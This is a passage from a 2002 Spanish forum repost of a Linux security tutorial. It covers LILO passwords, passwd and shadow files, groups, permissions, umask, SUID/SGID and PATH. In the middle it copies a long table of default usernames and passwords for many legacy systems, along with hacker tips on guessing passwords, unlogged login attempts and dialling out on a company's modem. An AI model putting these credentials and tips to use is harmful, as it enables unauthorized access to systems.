Podemos lanzar tantas veces el programa como registros quisiéramos actualizar dinámicamente, podríamos lanzar en un mismo ordenador dos veces el winip, una para actualizar pedro.misubdominio.ods.org y cualquier otra entrada que necesitemos.

Esto creo que ha sido un poco aburrido, yo al menos me he aburrido un poco escribiéndolo, pero creo que es necesario para que la cosa quede bonita. En los próximos documentos se explicará ya como instalar los servicios de Internet y qué software gratuito hay para cada uno de ellos. Eso si veo que la cosa tiene interés, si no pues me iré con las orejas agachadas.

Ni que decir queda que si alguien encuentra errores o fallos me pegue dos collejas de inmediato,  espero no haberme equivocado mucho.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
5435  Informática / Tutoriales - Documentación / Seguridad en Linux en: 18 Septiembre 2002, 19:54 pm
Documento Original de:
http://www.bandaancha.st/documentos.php?docid=26

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.

Seguridad en LINUX por  |^FaRLo^|
1 SeGuRiDaD eN LiLo
2 uSuaRioS y PaSSWorDs
2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs , etc...
2.2 La oRDeN Su
2.3 PaSSWorDs eN SHaDoW

Comentarios:

Bueno, a acusa del poco tiempo que tengo voy ha tener que ir haciendo este
especie de tutorial poco a poco, por tanto he decidido dividirlo y segun como lo
vea tratare mas temas de los que aqui expongo,
esto dependera de como se desarrolle la cosa :).

PRiMeRa PaRTe

1. SeGuRiDaD eN LiLo

Para arrancar Linux se debe instalar un programa que cargue el kernel, Linux
se puede cargar de varias maneras pero lo mas habitual es usar el programa
Linux Loader (LILO), a este programa se le pueden pasar varias opciones
durante el arranque para activar características especiales del sistema o
para pasar opciones al kernel, las opciones más conocidas son:

rescue - Inicia Linux en modo de único usuario para permitir reparaciones del
sistema.

single - Similar al anterior.

root=<dispositivo> Esta opcion permite arrancar desde otro dispositivo ,
por ejemplo desde un CD_ROM.
El problema es que si alguien tiene acceso local a tu maquina y arranca con
la opcion single:

Linux single
Posss entrare en el sistema con permisos de root y sin poner contrase¤a ,
para remediar esto se ha de cambiar la configuración de LILO para que pida
una contrase¤a cuando se intente utilizar la opcion single o rescue.

El archivo de configuracion de LILO se encuentra en :

/etc/lilo.conf

Para hacer que pida password se ha de añadir lo siguiente:

password=elpasswordquequieras
restricted

Por ultimo los permisos del fichero /etc/lilo.conf deberian de ser solo de
lectura y escritura para el root y para nadie mas, como mucho para el grupo
al que pertenece el root. Ya que como el password que hemos puesto esta en
texto plano cualquiera podria verlo.

2. uSuaRioS Y PaSSWorDs:

Passowrds:

UNIX utiliza un programa llamado crypt(3) para encryptar las passwords, este
programa se basa en el algoritmo de encrytacion DES (Estandar de Encryptacion
de Datos).

Las passswords pueden tener como maximo 11 caracteres pero una vez
encryptadas tienen 13, esto es debido a que los dos primeros caracteres son
el grano de sal (condimento) y se generan a parir del contador del reloj en
el momento en el que se asigna la contraseña, este grano de sal consta de 12
bits, esto quiere decir que puede ser un valor de entre 0 y 4095. Asi para
cada contrase¤a posible hay 4095 formas diferentes de encryptacion.

En el fichero /etc/passwd se guardan el nombre de usuario, nombre real ,
informacion de identificacion, y si el sistema no esta en shadow el passwd
encryptada del usuario.
Un ejemplo:

root:WLR103VcgThbH,31AB:0:0:root:/root:/bin/bash

Donde WLR103VcgThbH es la clave encrytada y WL es el gano de sal.

El numero 3 es el maximo de vida del passwd, despues de tres semanas el
usuario debera cambiarla.

El numero 1 indica cuantas semanas deben pasar para que el usuario puede
cambiar su password.
AB Indica cuando se cambio por ultima vez la clave, (Indica el numero de
semanas que han pasado desde 1/1/1970).

Estos datos están escritos en base 64.
Si por ejemplo root:...,31AB:0:0:root:/root:/bin/bash , indica que el
usuario tendra que cambiar su clave la proxima vez que se conecte al sistema.

Para cambiar el passwd basta con teclear:

Passwd -n diasmin -x diasmax usuario

Donde diasmin es el numero de dias que han de pasar para que el usuario puede
cambiar su passwd.
diasmax es el numero de dias en que expira la clave, para deshabilitar la
expiracion basta con que el valor de tiempo sea -1. Por ejemplo en el caso
del usuario Invitado:

passwd -x 30 Invitado

El usuario Invitado tendra que cambiar su clave cada mes.

No es recomendado usar la opcion un (dias minimos para cambiar la password)
porque si el usuario sospecha que le han pillado el passwd y aun no han
pasado los dias minimos, pues no podra cambiarla hasta que no pasen dichos
dias.

Si en el campo de la clave aparece un NP, (NO password) la cuenta no tiene
password, si por el contrario aparece LK (Locked passwd) significa que la
cuenta esta bloqueada.

Para buscar las cuentas sin passwd:

egrep ‘NP|::’ /etc/passwd

Para buscar por ejemplo info de un usuario en el fichero passwd:

egrep ‘usuario1|usuario2’ /etc/passwd

El numero 0 es el identificador de Usuario (uid).
El identificador de usuario permite determinar, entre otras cosas:
Que ficheros son propiedad de dicho usuario, cuales son los que se pueden
ejecutar, a que zonas tiene acceso un usuario, etc... Con esto quiero decir
que UNIX/Linux no identifica de quien es cada cosa por el nombre de usuario
sino por el UID.

UID es un entero sin signo de 16 bits, el cual va de 0 a 65535.
Los UID’s menores de 9 son habitualmente usados por funciones del sistema
como ftp.
El uid 0 corresponde a el superusuario (root), los UID para los demas
usuarios suelen empezar a partir del numero 100.

2.1 GruPoS , chgrp , newgrp , GruPoS CoN PaSSWorDs

El siguiente campo pertenece al Identificador de Grupo, en este caso root
pertenece al grupo 0. A los usuarios que van a pertenecer al mismo grupo se
les asigna el mismo gid.

El gid puede ir de 0 hasta 60000, El 0 corresponde al grupo de superusuario:
Los usuarios que estan en el mismo grupo tienen el mismo nivel de privilegios
para aquellos elementos que pertenezcan al grupo.

En el directorio /etc/group esta la lista de cada grupo, un ejemplo del
/etc/group es:

Administ:*:0:root,Charli
Programadores:*:10:Juan,Pedro,Antonio
Usuarios:*:100:

Donde:

Administ Es el nombre del grupo
* Es el password del grupo, en este caso no hay passwd
Root, Charli Los miembros del grupo.

Pueden haber un usuario que pertenezca a varios grupos, el usuario podre
entrar en todos aquellos grupos donde este su loguin, por defecto al entrar
en el sistema entrare en el grupo que corresponda a su gid, luego para
cambiar de grupo simplemente ha de teclear:

newgrp nombre-grupo

Para asociar una clave a un grupo se genera la clave para un usuario nuevo y
se copia con el editor de textos en el fichero /etc/group en el campo
correspondiente.

Los permisos para este fichero han de ser de lectura y escritura para el root
y de lectura para los demas usuarios, SI un usuario puede escribir en este
fichero puede ganar permisos de root con simplemente poner su nombre de
usuario en el mismo grupo en que esta el root y quitar la password si es que
hay.

La orden chgrp sirve para cambiar el grupo propietario de un archivo, su
sintaxis es:

chgrp [opciones] [grupo] [archivo]

La orden chown sirve para cambiar el propietario de un archivo, pero tambien
admite la utilizacion de uid y gid.

Por ejemplo:

chown 500:100 /bin/bash

Cambia el propietario del archivo al usuario con uid 500 y al grupo gid 100.
Se recomienda que /bin/chown solo pueda ser ejecutado por los usuarios con gid
0.

2.2 oRDeN Su

La orden su significa (switch user, cambiar usuario) se utiliza para cambiar
de un usuario a otro, si no se utiliza ningun campo su asume que se ha de
pasar al usuario root.

Una manera de restringir la orden su es quitando al programa /bin/su permisos
de ejecucion a los usuarios que no pertenezcan a un grupo especial, como
administradores. Como ya sabeis los permisos pueden ser para el propietario,
para el grupo y para todos los usuarios.

2.3 PaSSWorDs eN SHaDoW



Los passwords en Unix se dividen en 7 campos, (separados por dos puntos) :

tonto:h34Sd3vc23: 100:100:Alvaro:/usr/tonto:/bin/sh

- Primer campo: Tonto
Es el nombre con el que el sistema reconoce al usuario. A eso se le llama
(login). (Perdonadme los que entiendan algo de unix, pero esque lo tengo que
explicar pa alguien que no sepa na de na).

- Segundo campo: h34Sd3vc23
Esta es la palabra clave del usuario pero esta cifrada. Si contiene un
asterisco (*) este password esta desactivado y no puede usarse. :(

- Tercer campo: 100
Este es el número de usuario del sistema, (que puede ser hasta 60000). El
usuario con nivel 0 es el root o superusuario.

- Cuarto campo: 100
Es el número del grupo al que pertenece el usuario, todos los usuarios de un
mismo grupo tienen los mismos privilegios como es logico, (tambien este campo
puede ser del 0 al 60000)

- Quinto campo: Alvaro
En este campo aparecen datos adicionales del usuario, (en este caso el
nombre).

- Sexto campo: /usr/tonto
Es el directorio home del usuario en cuestion.

- Septimo campo: /bin/sh
Es el Shell que el usuario tonto utiliza.

Como si pillas un fichero de passwords que no estan en shadow y te pones a
crackearlo salen passwords como caracoles despues de la lluvia J, se decide
de poner este sistema en que las passwords encryptadas se guardan en un
archivo a parte generalmente en /etc/shadow (pero depende del sistema),
este archivo al contrario del /etc/passwd solo tiene permisos de lectura para
el root.

Luego en el fichero /etc/passwd en vez de la clave encryptada se pone un * o
algun otro simbolo, esto depende del sistema, he aqui unos ejemplos :))

Tipo de UNIX Directorio Simbolo

AIX3 /etc/security/passwd !
SunOs 5.0 /etc/shadow *
UNICOS /etc/udb *
BSD4.3-Reno /etc/master.passwd *
HP-UX /.segure/etc/passwd *
EP/IX /etc/shadow X
IRIX 5 /etc/shadow X

La estructura del fichero /etc/shadow es la siguiente:

username:passwd:last:may:must:warn:expire:disable:

Donde:

username Es el nombre de usuario.

passwd La clave encryptada.

last Los dias que hace que se cambio la clave desde 1/1/1970.

may Los dias que han de pasar para que la clave pueda ser cambiada.

must Los dias en que espira la clave.

warn Los dias en que se avisara al usurario antes de que el passwd
expire.

expire Son los dias que pueden pasar con la clave caducada antes de
que se deshabilite la cuenta.

Hay una seria de circunstancias en que poner contrase¤as a la sombra puede
dar problemas:

. Cuando en la maquina se verifica el password via NFS, NIS o algun otro
metodo.

. Cuando la maquina esta en una LAN y esta usando NIS (Network Information
Services).

En el fichero /etc/login.defs se especifica por ejemplo los dias maximos en
que puede expirar una passwd, los dias minimos, los caracteres minimos que
puede tener, el UID maximo etc...

Podemos bloquear el programa passwd para que solo un grupo de usuarios o un
usuario puedan ejecutarlo (cambiar su passwd) :

Por ejemplo:

chgrp grupo /bin/passwd

Cambia el grupo propietario del programa passwd.

chmod 4750 /bin/passwd

Cambia los permisos para que solo pueda ejecutar el propietario y el grupo
propietario del programa /bin/passwd.

NOTA: Puedes ver el contenido del fichero /etc/passwd simplemente tecleando:

cat /etc/passwd

Si estas en una red que usa un servidor NIS las contraseñas de toda la red se
guardan en este servidor, para ver el contenido del fichero passwd:

ypcat passwd


2.4 CueNTaS PoR DeFecTo
3 SisTeMaS De FicHeRos.
3.1 PerMiSoS eN FicHeRos , chown , etc ...
3.2 La oRDeN uMasK
3.3 SuiD , sGiD
3.4 La VaRiaBLe PATH


Cuentas de Invitado ("Guest")

Las cuentas de invitado (Guest) a veces se suelen utilizar para comprobar
configuraciones SMTP y demas.

Estas cuentas, por defecto, suelen tener asociado un password JOE (un
password JOE es aquel que es igual que el login), por lo que si hemos de
habilitar estas cuentas lo mejor es cambiarles el password.
Si no utilizas estas cuentas lo mejor es ponerlas el asterisco (*) en el
/etc/passwd (un asterisco entre los dos primeros ":" inhabilita la cuenta,
y por tanto el usuario no puede entrar en el sistema).

Por si acaso se le puede poner como $HOME el /dev/null (el "aguejero
negro" de nuestro sistema).

Cuentas sin Passwords
Numerosos sistemas tienen instaladas cuentas con nombres como "who", "date",
"lpq", y demás con el objetivo de lanzar determinados comandos. Esto tiene la
finalidad de permitir a los usuarios lanzar sus procesos sin necesidad de
entrar en la maquina y ejecutarlos a mano. Estas cuentas NO suelen tener
password, y por tanto su potencial problema es que abren inmensos agujeros
de seguridad en la maquina; por lo general, ademas, estas cuentas suelen tener
permisos de root (super-usuario).

Que hacer, pues?

Simplemente, NO permitir estas cuentas!

Lista Extraída de :


Hack en accion ( basico ) Parte I By PLaXiuS

Cuentas por defetco mas comunes:

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr
qsysopr qsysopr
qpgmr qpgmr
ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qsvr qsvr
secofr secofr

DECserver
~~~~~~~~~
ACCESS
SYSTEM

HP-x000
~~~~~~~
Este sistema es elaborado por Hewlett-Packard. Se caracteriza por el prompt
":". La secuencia de entrada a este sistema es una de las más complicadas.
Debes escribir: "HELLO SESSION NOMBRE,USUARIO,NOMBRE-DE-CUENTA,GRUPO"
Afortunadamente algunos de esos campos pueden dejarse en blanco. En ocasiones
todos los campos están protegidos con passwords por lo que este sistema no es
uno de los mas fáciles de acceder.

Las cuentas defaults comunes son:

Login User
~~~~~ ~~~~
MGR.TELESUP,PUB MGR
Acct: HPONLYG rp: PUB
MGR.HPOFFICE,PUB
FIELD.SUPPORT,PUB FLD,
MAIL.TELESUP,PUB MAIL,
MGR.RJE
FIELD.HPP189 ,HPP187,HPP189,HPP196
MGR.TELESUP,PUB,HPONLY,HP3

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Major BBS
~~~~~~~~~
Sysop Sysop

PICK O/S
~~~~~~~~
DSA
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP <null>

Rolm
~~~~
CBX Defaults
op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults
~~~~~~~~~~~~~~~~~~
sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
MICRO/RSX

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

VMS
~~~
La computadora VAX es creada por Digital Equipment Corporation (DEC) y corre
el sistema operativo VMS (virtual memory system). VMS se caracteriza por su
prompt 'Username:'. Este sistema no te dire si has entrado un login correcto
o no y te desconectara despues de tres malos intentos. Tambien mantiene un
log de todos los logins que fallaron e informa al due¤o de la cuenta la
proxima vez que entre cuantos intentos fallados se hicieron.

Es uno de los sistemas más seguros desde fuera pero ya dentro tiene varios
errores en la seguridad. Las VAX ademas tienen unos de los mejores archivos
de ayuda de entre los demas sistemas, para acceder a esta ayuda solo escribe
HELP en el prompt. Las cuentas defaults comunes son: [ usuario: password
[,password] ]

Login Password
~~~~~ ~~~~~~~~
decnet decnet
demo demo
field field
field service
guest guest
operator operator
sysmaint digital
sysmaint service
sysmaint sysmaint
system manager
system operator
system syslib
system system
systest uetp

UNIX
~~~~
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
adm adm
adm admin
admin adm
admin admin
bin bin
daemon daemon
decnet ddennet
decnet nonpriv
default user
demo demo
field digital
field service
field test
games games
games player
guest friend
guest guest
guest welcome
host host
learn learn
netnonpriv nonpriv
nuucp nuucp
postmaster mail
rje rje
root root
root sysop
root system
sys sys
sys system
sysop sysop
sysman sys
sysman sysman
sysman system
sysadmin adm
sysadmin admin
sysadmin sys
sysadmin sysadmin
sysadmin system
sysbin sysbin
sysmaint digital
sysmaint service
system manager
system operator
system syslib
system uetp
systest_clig systest
test test
tty tty
unix test
unix unix
userp user
uucp uucp
uuhost uuhost
who who

PRIME
~~~~~
Esta computadora opera con el sistema operativo Primos. Son faciles de
detectar ya que reciben a uno con el mensaje "Primecon xx.xx.xx" o algo
parecido dependiendo de la version que te encuentres. Usualmente no ofrecen
ningún prompt asi que debes escribir "login <usuario>". Si la version es
anterior a la 18.00.00 puedes presionar un monton de caracteres de escape o
CTRL-C y entraras. Este sistema ofrece la capacidad de conectarte a los NUAS
de todo el mundo con el comando NETLINK...sintax: nc <nua>

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
guest guest
guest prime
guest1 guest
netlink netlin
prime prime
prime primos
primos prime
primos primos
primos_cs prime
primos_cs primos
primenet primenet
system prime
system primos
system system
test test
test prime
test primos

DEC-10
~~~~~~
Este es el equipo de computo más nuevo que existe dentro de la linea de DEC'
s.Operan el sistema operativo TOPS-10. Este tipo de maquinas se reconocen por
el prompt "." Las series DEC-10/20 son amables con los hackers permitiendo
varios intentos en el login prompt sin guardar un log de los intentos
fallados. Las cuentas están en forma [xxx,yyy].

Lo mejor de este sistema es la posibilidad de obtener informacion sobre las
personas en linea antes de entrar a el usando el comando systat.

Si ves una cuenta que lea [234,1001] BOB JONES, seria inteligente probar como
password BOB, JONES, BOBBY, etc. Para entrar al sistema se usa el comando:
login xxx,yyy [enter] password: Este sistema como antes habia dicho, permite
intentos sin limite y ademas te avisa si el login que est s usando existe.

Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
1,2 manager
1,2 operator
1,2 syslib
2,7 maintain
5,30 games

IRIS
~~~~
Iris significa (interactive real time information system). Originalmente
corria en PDP-11's, pero ahora corre en otras minis. Para identificar uno de
estos sistemas busca el texto "Welcome to `IRIS' R9.1.4 Timesharing" y el
prompt ACCOUNT ID? (algunas veces es cambiado). IRIS no tiene limites a la
hora de hackear una cuenta y no guarda un log de los intentos fallados.

Login
~~~~~
accounting
boss
demo
manager
pdp8
pdp11
software

VM/CMS
~~~~~~
Este sistema es ejecutado en las super computadoras de IBM (International
Business Machines) llamadas mainframes. Una vez conectado a una de estas
computadoras te mostrara un mensaje asi "VM/370 ONLINE", y te dare un prompt
"." justo como la TOPS-10 lo hace. Para entrar debes ejecutar: LOGON <usuario>
Las cuentas defaults comunes son:

Login Password
~~~~~ ~~~~~~~~
autolog1 autolog
autolog1 autolog1
cms cms
cmsbatch cms
cmsbatch cmsbatch
erep erep
maint maint
maint maintain
operatns operatns
operatns operator
operator operator
rscs rscs
smart smart
sna sna
vmtest vmtest
vmutil vmutil
vtam vtam

NOS
~~~
NOS significa Networking Operating System y corre en la Cyber computadora
hecha por Control Data Corp. A este sistema lo puedes identificar facilmente
por la bienvenida "WELCOME TO THE NOS SOFTWARE SYSTEM...".
El primer prompt que recibir sera FAMILY: (presiona enter) depues llegar
a otro prompt USER NAME: donde cada uno es de 7 digitos alfanumericos y son
dependientes del sistema por lo que no son palabras o frases conocidas.

DECSERVER
~~~~~~~~~
Las DECs son una serie de computadoras conectadas entre si para formar una
sola unidad de procesamiento, la funcionalidad de estos sistemas es altamente
utilizado por los hackers para quebrar passwords de cuentas unix por la
rapidez del sistema. El prompt usualmente sera: "Enter Username>"
aunque yo he visto otros prompts en estos sistemas. El nombre de usuario
puede ser cualquier cosa, lo mejor ser presionar algo nada sospechoso como
`c' o algun numero.

De ah¡ te presentar con el prompt `local>'. De ahi debes ejecutar `c
<sistema>' para conectarte. Para obtener una lista de sistemas conectados
ejecuta `sh' `services' o `sh nodes'. En algunos sistemas DEC'S existen
comandos como MODEM o DIAL que permiten hacer uso de un modem para llamadas
externas que te permitir n marcar a BBS internacionales a expensas de la
compa¤ia que opera el DEC.

3. SiSTeMaS De FiCHeRoS

El sistema de ficheros de UNIX/LINUX tiene una estructura de arbol. Un arbol
esta constituido por directorios, que contiene a su vez subdirectorios, etc.
Todo parte de un directorio raiz.

En UNIX, todo esta representado mediante directorios o ficheros, como por
ejemplo las unidades, el CD-ROM etc..
Cada fichero contiene un nombre, es propiedad de un usuario, tiene unos
permisos etc.
Toda esta informacion esta almacenada en los inodo, los inodos guardan todo
lo asociado con el fichero excepto su nombre, los nombres son guardados en
sus directorios y son asociados con los inodos mediante punteros.

Los inodos no poseen nombre. En su defecto se distinguen por un numero o
indice, que indica su posicion en la tabla de inodos. Los inodos son las
entradas de una tabla de localizacion de ficheros, parecido a al FAT de dos,
pero en formato etx2.

Cada inodo contiene lo siguiente:

. La ubicacion del contenido del objeto referenciado al disco.
. El tipo de objeto (ficheros, directorios, enlace simbolico, etc).
. El tama¤o del objeto en bytes.
. La fecha en la que el inodo fue modificado por ultima vez.
. La fecha en la que el Objeto fue accedido por ultima vez.
. El Propietario del Objeto.
. El grupo propietario del Objeto.
. Los permisos del Objeto.

En UNIX / Linux varios ficheros pueden estar referenciados al mismo inodo ,
a esto de le llama link o enlace.

Cada directorio tiene como mínimo dos entradas. El punto (.), que referencia
el propio directorio y los dos puntos (..), que apuntan al directorio padre (
al que esta mas cerca del directorio raiz).

3.1 PeRMiSoS eN FiCHeRoS

Los permisos pueden ser:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de Ejecución.
s Suid o Sgid.
t Stlicky bit.

LOS PERMISOS PUEDEN SER:

Para el propietario (owner).
Para el grupo (group).
Para todos los demas (other).
Para ver los permisos de un fichero basta con la orden ls -l.
Para cambiar los permisos de los ficheros o directorios se utiliza la orden

chmod , su sintaxis es:
chmod [-Rfh] [agou] [+-=] [rwxst] nombre

Donde:

-R Algunas versiones no soportan esta opcion, con -R estamos diciendo que
queremos cambiar los permisos recursivamente esto quiere decir que si
cambiamos los permisos de un directorio con esta opcion se cambiaran
los permisos de todos los archivos y subdirectorios del directorio.

-f Si sucede algun error con esta opcion no sera mostrado.

-h Se utiliza para los links con esta opcion se cambian los permisos
del link pero no el del fichero al que apunta el link.

Y donde:

a Modifica para todos los usuarios el privilegio especificado.
g Modifica los privilegios para el grupo.
o Modifica los privilegios para los demás usuarios.
u Modifica los privilegios para el propietario.

Y donde:

+ A¤ade un privilegio.

Quita un privilegio.

= Quita todos los privilegios.....

Y donde:

r Permiso de lectura.
w Permiso de escritura.
x Permiso de ejecución.
s SUID o SGID.
t Sticky bit.

Ejemplos:

ls -lfiche1

-rwx-r-r- pedro usuarios 505 FEB 9 13:19 fiche1

Donde el primer carácter puede ser:

- Fichero normal.
d Directorio.
c Dispositivo (tty o impresora etc..)
b Dispositivos como el CD-ROM etc..
l Link simbolico.

Etc...

Despues del primer caracter los tres siguientes son permisos para el
propietarios luego los tres que le siguen pal grupo y los otros para los
demas usuarios si aparece el caracter - en el campo de alguno de estos
significa que no existe dicho permisos.

En el ejemplo de fiche1 tiene permiso de lectura, escritura, ejecucion para
el propietario. Lectura para el grupo y lectura para todos los demas, y
donde pedro es el propietario del fichero y usuarios es el nombre del grupo
al cual pertenece el fichero.

Para añadir permisos de escritura al grupo:

Chmod g+w fiche1

Hacemos un ls -l fiche1

-rwx-rw-r-

Otro ejemp:

ls -l fiche2

-r-r-r-

chmod a+w fiche2

ls -l

-rw-rw-rw-

Otro ejemplo:

ls -l fich3

-rwxrwxrwx

chmod go= fiche3

Esto quita todos los permisos para el grupo y para los demas usuarios:

ls -l fiche3

-rwx------

Hay una manera numerica de poner permisos:

Chmod [-Rfh] modo fichero

Donde:

El modo es:

A chmod se le pueden especificar los permisos con un numero octal de 4
digitos, los numeros son:

Numero Octal Permiso

4000 Permisos de SUID.
2000 Permisos de SGID.
1000 “Sticky bit”
0400 Permiso de Lectura para el usuario.
0200 Permiso de Escritura para el usuario.
0100 Permiso de Ejecucion para el usuario.
0040 Permiso de Lectura para el grupo.
0020 Permiso de Escritura para el grupo.
0010 Permiso de Ejecucion para el grupo.
0004 Permiso de Lectura para todos.
0002 Permiso de Escritura para todos.
0001 Permiso de Ejecucion para todos.

La manera de calcular los permisos es ir sumandolos por ejemplo para poner
permiso de Lectura, Escritura, Ejecucion para el usuario del fichero.
Lectura y Ejecucion para el grupo..
Y ningún permiso para los demas. Se haria de la siguiente manera:

chmod 0750 fichero

Ya que:

0400 Lectura pal usuario.
+
0200 Escritura pal usuario.
+
0100 Ejecucion pal usuario.
+
0040 Ejecucion para el grupo.
+
0010 Ejecucion para el grupo.
---------
0750

Si hicieramos un ls -l fichero veriamos:

-rwxr-w---

Permisos a directorios:

Los permisos para los directorios son los mismos que para los ficheros de
Lectura, Escritura, Ejecución pero tienen un significado algo distinto.

Para un directorio el permiso de lectura indica que se pueden ver los nombres
de los archivos del directorio, si se los quitas y hacer un ls no veras nada.
Para ver los permisos de los directorios ejecuta ls -lF.

Los permiso se cambian de la misma manera que los ficheros.

Si no hay permisos de ejecucion no se podrá entrar en dicho directorio.

Permiso sobre ficheros y directorios habituales:

Número Octal Nombre Permiso

755 /bin/ls Todo el mundo puede copiar y ejecutar este programa.

0700 $HOME Nadie ha de poder entrar en
tu directorio home (excepto el root :)).

0600 /usr/mail/$USER Nadie debería poder escribir ni leer tu mail :).

3.2 La oRDeN uMask:

Cuando creamos un archivo o directorio este se crea con unos permisos
predeterminados, se puede cambiar el modo predeterminado para un directorio,
esto significara que todo lo que se cree dentro de este directorio lo hara
con los permisos que nosotros hemos predeterminado, la orden umask utiliza el
sistema de números para predeterminar permisos.

El valor que nosotros queramos predeterminar lo hemos de restar de 777, por
ejemplo queremos que para el directorio /root los valores predeterminados
sean, Lectura, Escritura, para el usuario. Pues lo que debemos hacer es
restar 177 de 777 y nos quedará 600 que es el valor que queremos.

Ejemplo:

umask 177 /root

Que es esto del Sticky bit ?

Cuando un ejecutable tiene este bit activado (Sticky bit) aparece con una t
situada al final del campo de permisos. Al activar este bit estamos indicando
al sistema que queremos que el programa permanezca en memoria al terminar su
ejecucion, seria parecido a los programas residentes del Dos.

Si se usa sobre un directorio este bit tiene un significado diferente, por
ejemplo:

chmod 1777 /tmp

Todo el mundo podra escribir, pero nadie podrá borrar los archivos creadores
por los demas usuarios.

3.3 eL SuiD y eL SGiD

El tener los permisos suid o sgid activados en algun programa puede resultar
bastante peligroso, muy peligroso :), ya que los exploits de buffer o Stack
Overflow se aprovechan de estos permisos, me explico:

Tener el permisos SUID activado en un programa significa que cuando un
usuario ejecute el programa lo hará como si lo hubiera ejecutado el
usuario del fichero o por el grupo si tiene el SGID activado.

Porque utilizar estos permisos ?

Hay programas que tienen que acceder a zonas donde solo tiene permiso el root
, un ejemplo es el programa passwd el cual sirve para cambiar el password de
un usuario, el propietarios de este programa es el root, si no tuviera
permisos de suid el programa no podria ( o no debería poder ) modificar el
fichero /etc/passwd ya que se hubiera ejecutado con la uid de usuario y por
tanto un usuario normal no puede modificar dicho fichero, para solucionar
esto se le dan permisos de suid, entonces el programa se ejecuta como si lo
hubiera hecho el root y puedes modificar tranquilamente el fichero.

SGID funciona igual que el SUID lo único que le programa se ejecutaria como
si lo hubiera hecho el grupo propietario de dicho programa.

EL peligro de estos permisos:

Si mientras el programa esta ejecucion pudieramos sobreescribir parte de la
pila, cambiar al direccion de retorno de alguna funcion etc... y
consiguieramos que este programa ejecutase codigo que no pertenece a este
programa, dicho codigo se ejecutaria con permisos del propietario del
programa que habitualmente es el root.

Para ver si un programa tiene activa el SUI o SGID basta con hacer un:

ls -l nombredelfichero

-rwsr-xr-x root root ....

La s significa que el programa tiene activado los permisos de suid, ya que s
esta en le campo del propietario, Asi que el programa tiene permisos de suid
el propietarios es el root y el grupo propietario del programa es el grupo
root. Dicho programa puede ser ejecutado por cualquiera y cuando se ejecute
lo hara con permisos de root.

NOTA: Para encontrar todos los archivos que tengan activado suid o el sgid :

find / (-perm -004000 -o perm -002000) -type f -print

Donde find empieza a buscar en el directorio raíz (/) y mira todos los
archivos que tienen modo 002000 (sgid) o modo 004000 (suid). Donde la opcion
-type f es para que solo busque ficheros normales y -printf para que lo que
encuentre lo saque por pantalla.

Si se esta usando NFS y solo se quieres buscar en el ordenador en el que
estas y que no mire en los archivos montados de otros ordenadores:

find / (-local -o -prune ) ( -perm -004000 -o -perm -002000 )
-typef -print

Se ha de tener cuidado a la hora de montar archivos remotos o el floppy o el
CD-ROM ya que en el caso de archivos remotos el usuario remoto simplemente
creando un suid programa en su ordenador y haciendolo correr en la maquina en
la que se montan estos archivos podria pillar permisos de root facilmente ,
por ejemplo el usuario copia en los archivos que se van a montar de un
ordenador en el que tiene permisos una shell con suid activado cuyo
propietario es root y lo ejecuta en el ordenador donde se montan estos
ficheros...

Tb pasaria con el floppy , puedes grabar una shell con suid activado en un
floppy y luego montarlo en el ordenador y ejecutarlo.
Para que no ocurra todo esto no ocurra se ha de impedir que se monten con el
suid y sgid o que el sistema pase de todo estos permisos cuando proviene de un
disquete, archivo remoto y tal..

En los archivos remotos (NSF) se ha de configurar el ficheros /etc/exports
con las restricciones:

nodev
nosuid

Y si se quiere tb

noexec

La opcion nodev hace que el sistema ignore los archivos montados,
Si tiene el suid activado lo ignora.

En el caso de disquetes y tal:

Para unidades, archivos, flopyes etc, que se han de montar el fichero de
configuracion es el /etc/fstab se pueden usar :

nodev
nosuid

3.4 La VaRiaBLe PaTH

En la variable PATH se indican los directorios donde deberan buscarse los
programas que se ejecuten, produciendose la busqueda en el orden en que
aparece en la variable. Si la variable PATH se asigna de la forma
PATH=.:/usr/bin:/usr/sbin primero se buscará en el directorio actual y luego
en el resto de los que aparecen en la variable. Esto puede ser peligroso,
por ejemplo:

Si alguien creamos en un directorio donde tengamos permisos de escritura un
